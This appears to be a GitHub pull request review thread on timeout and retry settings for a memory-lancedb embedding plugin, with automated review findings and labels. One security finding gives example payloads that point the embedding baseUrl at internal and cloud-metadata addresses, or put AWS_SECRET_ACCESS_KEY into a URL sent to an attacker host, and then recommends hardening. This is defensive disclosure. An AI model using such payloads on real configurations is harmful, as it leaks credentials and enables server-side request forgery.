1. extensions/memory-lancedb/index.test.ts, line 288-292 (link)

   Stale assertion will fail after this change

   The original assertion at lines 288–292 checks that embeddingsCreate was called with only the params object and no second argument. However, after this PR the call site becomes this.client.embeddings.create(params, { timeout: this.timeoutMs }), so the mock is now invoked with two arguments. Vitest's toHaveBeenCalledWith performs an exact argument match — a call of fn(a, b) does not satisfy expect(fn).toHaveBeenCalledWith(a).

   The old assertion should be removed (or replaced by the new one below it), otherwise this test will fail:

   Prompt To Fix With AI

   This is a comment left during a code review.
   Path: extensions/memory-lancedb/index.test.ts
   Line: 288-292
   
   Comment:
   **Stale assertion will fail after this change**
   
   The original assertion at lines 288–292 checks that `embeddingsCreate` was called with only the params object and no second argument. However, after this PR the call site becomes `this.client.embeddings.create(params, { timeout: this.timeoutMs })`, so the mock is now invoked with two arguments. Vitest's `toHaveBeenCalledWith` performs an exact argument match — a call of `fn(a, b)` does **not** satisfy `expect(fn).toHaveBeenCalledWith(a)`.
   
   The old assertion should be removed (or replaced by the new one below it), otherwise this test will fail:
   
   
   
   How can I resolve this? If you propose a fix, please make it concise.

Description

memory-lancedb allows the embedding baseUrl to be configured and also performs ${ENV_VAR} expansion on it. The resulting URL is passed directly to the OpenAI SDK as baseURL, which will issue HTTP requests to that host.

If an attacker can influence the plugin configuration (e.g., via a shared config file checked into a repo, or any other untrusted config channel), this enables:

• SSRF: set embedding.baseUrl to an internal URL (e.g., http://127.0.0.1:... or http://169.254.169.254/...) and cause the process to make requests to internal services.
• Secret exfiltration amplification: embed environment variables into the URL (e.g., https://attacker.tld/leak?x=${AWS_SECRET_ACCESS_KEY}), which are expanded by resolveEnvVars and then transmitted to the attacker-controlled server.
• Increased impact via retries: newly added maxRetries causes multiple requests on transient failures, increasing the number of SSRF/exfil attempts.

Vulnerable code (env var expansion and use as base URL):

function resolveEnvVars(value: string): string {
  return value.replace(/\$\{([^}]+)\}/g, (_, envVar) => {
    const envValue = process.env[envVar];
    if (!envValue) {
      throw new Error(`Environment variable ${envVar} is not set`);
    }
    return envValue;
  });
}

baseUrl:
  typeof embedding.baseUrl === "string" ? resolveEnvVars(embedding.baseUrl) : undefined,

Request sink:

this.client = new OpenAI({
  apiKey,
  baseURL: baseUrl,
  timeout: timeoutMs ?? DEFAULT_EMBEDDING_TIMEOUT_MS,
  maxRetries: maxRetries ?? DEFAULT_EMBEDDING_MAX_RETRIES,
});

Recommendation

Treat embedding.baseUrl as a high-risk setting.

• Do not apply ${ENV} expansion to URLs (keep it for API keys only), or require an explicit opt-in flag for env expansion.
• Validate/allowlist baseUrl:
  • allow only https: (and optionally http: for localhost dev)
  • block link-local/private/loopback IP ranges and hostnames
  • optionally allowlist known OpenAI-compatible hosts

Example hardening:

function validateBaseUrl(raw: string): string {
  const url = new URL(raw);
  if (url.protocol !== "https:") {
    throw new Error("embedding.baseUrl must use https");
  }
  ​// Option A: allowlist known hosts
  const allowedHosts = new Set(["api.openai.com", "api.groq.com"]);
  if (!allowedHosts.has(url.hostname)) {
    throw new Error("embedding.baseUrl host is not allowed");
  }
  return url.toString();
}

const baseUrl = typeof embedding.baseUrl === "string"
  ? validateBaseUrl(embedding.baseUrl) // no resolveEnvVars here
  : undefined;

Additionally, consider keeping maxRetries at 0 by default when a non-default baseUrl is used, to reduce SSRF/exfil amplification.

Best possible solution:

Land a narrow memory-lancedb change where timeout/retry settings are applied to every advertised direct embedding path, unsupported provider-adapter modes are clearly scoped or rejected, and release notes stay in the PR body or landing commit instead of CHANGELOG.md.

Do we have a high-confidence way to reproduce the issue?

Yes, source-reproducible. Current main and the PR diff show auto-recall passes a hardcoded request timeout, and the OpenAI SDK uses request timeout before client timeout, so the new config cannot bound that agent-turn path.

Is this the best way to solve the issue?

No. Wiring the values into the direct OpenAI constructor is useful, but it is not the complete fix while auto-recall overrides that constructor budget and provider-backed modes accept settings they cannot honor.

Full review comments:

• [P2] Apply the configured budget to auto-recall too — extensions/memory-lancedb/index.ts:373-374
  The new constructor timeout is overridden when auto-recall calls embed(..., { timeoutMs: DEFAULT_AUTO_RECALL_TIMEOUT_MS }); openai-node uses request options before client defaults, so embedding.timeoutMs and embedding.maxRetries will not bound the agent-turn path this PR describes. Thread the configured value into that path or scope the setting away from auto-recall.
  Confidence: 0.88
• [P2] Do not advertise no-op provider settings — extensions/memory-lancedb/openclaw.plugin.json:46-52
embedding.timeoutMs and embedding.maxRetries validate for every embedding config, but createEmbeddings only passes them when using the direct OpenAI API-key client; provider-backed modes still call embedQuery(text) without those options. Scope the manifest/help/schema to the direct client or add provider support so operators do not configure a no-op availability control.
  Confidence: 0.86
• [P3] Remove the release-owned changelog edit — CHANGELOG.md:381
  Normal PRs should not edit release-owned CHANGELOG.md, and this inserted entry also says out-of-range values silently fall back even though the manifest schema rejects them before the runtime parser in normal plugin loading. Keep the release-note context in the PR body or landing message instead.
  Confidence: 0.84

Overall correctness: patch is incorrect
Overall confidence: 0.88

AGENTS.md: found and applied where relevant.

Codex review notes: model gpt-5.5, reasoning high; reviewed against 8539e0283a55.

Label changes:

• add merge-risk: 🚨 compatibility: The PR adds new plugin config/schema/UI keys whose accepted behavior differs across direct and provider-backed embedding modes.
• add proof: sufficient: Contributor real behavior proof is sufficient. The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.

Label justifications:

• P2: This is a normal-priority plugin availability improvement with limited blast radius but real merge blockers in the config behavior.
• merge-risk: 🚨 compatibility: The PR adds new plugin config/schema/UI keys whose accepted behavior differs across direct and provider-backed embedding modes.
• merge-risk: 🚨 availability: The settings are meant to bound hung embedding calls, but key advertised paths can still stall or ignore the configured budget after merge.
• rating: 🦐 gold shrimp: Overall readiness is 🦐 gold shrimp; proof is 🐚 platinum hermit and patch quality is 🦐 gold shrimp.
• status: ⏳ waiting on author: ClawSweeper has contributor-facing work open and is waiting for author action. Sufficient (live_output): The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.
• proof: sufficient: Contributor real behavior proof is sufficient. The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.

PR surface:

Source +87, Tests +127, Docs +1. Total +215 across 5 files.

Acceptance criteria:

• [P1] node scripts/run-vitest.mjs extensions/memory-lancedb/config.test.ts.
• [P1] node scripts/run-vitest.mjs extensions/memory-lancedb/index.test.ts.
• [P1] git diff --check.

What I checked:

• Repository policy read: Read the full root AGENTS.md and the scoped extensions/AGENTS.md; their config-surface, plugin metadata, and release-owned changelog guidance affected this review. (AGENTS.md:1, 8539e0283a55)
• Current main behavior: Current main has no embedding.timeoutMs or embedding.maxRetries fields in MemoryConfig and constructs the direct OpenAI client with only apiKey and baseURL. (extensions/memory-lancedb/index.ts:361, 8539e0283a55)
• PR diff wiring: The PR adds timeout/retry fields and passes them into new OpenAI(...) only on the direct provider === "openai" && apiKey branch. (extensions/memory-lancedb/index.ts:373, de58b85d0eb7)
• Provider-backed gap: The memory embedding provider call options expose only signal, and the memory-lancedb provider adapter calls embedQuery(text) without timeout/retry options, so provider-backed embedding configs can accept the new keys while ignoring them. (src/plugins/memory-embedding-providers.ts:20, 8539e0283a55)
• OpenAI SDK contract: openai 6.39.0 documents a 10 minute default timeout and maxRetries default of 2; its implementation uses per-request options.timeout ?? this.timeout, so memory-lancedb's auto-recall request timeout overrides the constructor timeout added by this PR.
• Area history: History around memory-lancedb points to recent broad maintenance by Peter Steinberger, baseUrl/dimensions introduction by Rishabh Jain, and embedding runtime/proxy work by Neerav Makwana and Nimrod Gutman. (extensions/memory-lancedb/index.ts:352, 8539e0283a55)

Likely related people:

• steipete: Recent commits touched the full memory-lancedb plugin surface and broader plugin/config policy paths. (role: recent area contributor; confidence: high; commits: 98a1aa491fad, 27ae826f6525; files: extensions/memory-lancedb/config.ts, extensions/memory-lancedb/index.ts, extensions/memory-lancedb/openclaw.plugin.json)
• rish2jain: The custom OpenAI baseUrl and dimensions support that this PR extends appears to date to the memory-lancedb feature commit for that surface. (role: introduced related behavior; confidence: high; commits: 6675aacb5eb4; files: extensions/memory-lancedb/config.ts, extensions/memory-lancedb/index.ts, extensions/memory-lancedb/openclaw.plugin.json)
• Neerav Makwana: Recent merged work changed LanceDB embedding bootstrap/proxy behavior in the same runtime path. (role: adjacent embedding runtime contributor; confidence: medium; commits: 09a44530266e; files: extensions/memory-lancedb/index.ts, extensions/memory-lancedb/index.test.ts)
• Vignesh Natarajan: Earlier memory-lancedb hardening and auto-capture/recall behavior changes are adjacent to this PR's availability-sensitive memory path. (role: memory hardening contributor; confidence: medium; commits: 61725fb37e33, ed7d83bcfc7f; files: extensions/memory-lancedb/index.ts)

• 🦀 challenger crab: rare, exceptional readiness with strong proof, clean implementation, and convincing validation.
• 🦞 diamond lobster: very strong readiness with only minor maintainer review expected.
• 🐚 platinum hermit: good normal PR, likely mergeable with ordinary maintainer review.
• 🦐 gold shrimp: useful signal, but proof or patch confidence is still limited.
• 🦪 silver shellfish: thin signal; proof, validation, or implementation needs work.
• 🧂 unranked krab: not merge-ready because proof is missing/unusable or there are serious correctness or safety concerns.
• 🌊 off-meta tidepool: rating does not apply to this item.

Shiny media proof means a screenshot, video, or linked artifact directly shows the changed behavior. Runtime, network, CSP, and security claims still need visible diagnostics.

• ClawSweeper keeps one durable marker-backed review comment per issue or PR.
• Re-runs edit this comment so the latest verdict, findings, and automation markers stay together instead of adding duplicate bot comments.
• A fresh review can be triggered by eligible @clawsweeper re-review comments, exact-item GitHub events, scheduled/background review runs, or manual workflow dispatch.
• PR/issue authors and users with repository write access can comment @clawsweeper re-review or @clawsweeper re-run on an open PR or issue to request a fresh review only.
• Maintainers can also comment @clawsweeper review to request a fresh review only.
• Fresh-review commands do not start repair, autofix, rebase, CI repair, or automerge.
• Maintainer-only repair and merge flows require explicit commands such as @clawsweeper autofix, @clawsweeper automerge, @clawsweeper fix ci, or @clawsweeper address review.
• Maintainers can comment @clawsweeper explain to ask for more context, or @clawsweeper stop to stop active automation.